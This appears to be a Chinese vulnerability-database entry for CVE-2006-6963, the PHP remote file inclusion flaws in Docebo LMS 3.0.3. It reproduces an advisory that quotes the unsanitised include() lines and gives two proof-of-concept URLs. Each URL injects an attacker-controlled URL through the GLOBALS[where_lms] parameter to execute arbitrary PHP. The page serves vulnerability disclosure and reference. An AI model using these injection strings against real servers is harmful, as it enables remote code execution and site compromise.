Docebo LMS 多个PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1191927 漏洞类型 未知
发布时间 2007-01-29 更新时间 2007-01-29
CVE编号 CVE-2006-6963 CNNVD-ID CNNVD-200701-497
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/87069
https://cxsecurity.com/issue/WLB-2007010103
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-497
|漏洞详情
DoceboLMS3.0.3版本中存在多个PHP远程文件包含漏洞。远程攻击者可以借助提交到(1)class.module/class.definition.php和(2)modules/scorm/scorm_utils.php的GLOBALS[where_lms]参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
-----------------------------------------------------
Advisory id: FSA:010

Author:    Federico Fazzi
Date:	   09/06/2006, 7:24
Sinthesis: Docebo Lms 3.0.3, Remote command execution
Type:	   high
Product:   http://www.docebolms.org/
Patch:	   unavailable
-----------------------------------------------------

1) Description:

Error occured in class.definition.php,

include($GLOBALS['where_lms'].'/modules/'.$this->module_name.'/'.$this->module_name.'.php');

Error occured in scorm_utils.php,

include_once( $GLOBALS['where_lms'] . '/config.php' );

The users can include a remote file because
the $GLOBALS['where_lms'] isn't sanitized

2) Proof of concept:

http://example/[dc_path]/class.module/class.definition.php?GLOBALS[where_lms]=[cmd_url]
http://example/[dc_path]/modules/scorm/scorm_utils.php?GLOBALS[where_lms]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]
|受影响的产品
Docebo Docebo 3.0.3
|参考资料

来源:MISC
链接:http://www.docebo.org/doceboCms/bugtracker/18_124/bugdetails/appid_1-bugid_154/bugtracker.html
来源:XF
名称:docebo-multiple-file-include(26633)
链接:http://xforce.iss.net/xforce/xfdb/26633
来源:OSVDB
名称:26713
链接:http://www.osvdb.org/26713
来源:OSVDB
名称:26712
链接:http://www.osvdb.org/26712
来源:BUGTRAQ
名称:20060609DoceboLms3.0.3,Remotecommandexecution
链接:http://archives.neohapsis.com/archives/bugtraq/2006-06/0116.html
来源:SREASON
名称:2188
链接:http://securityreason.com/securityalert/2188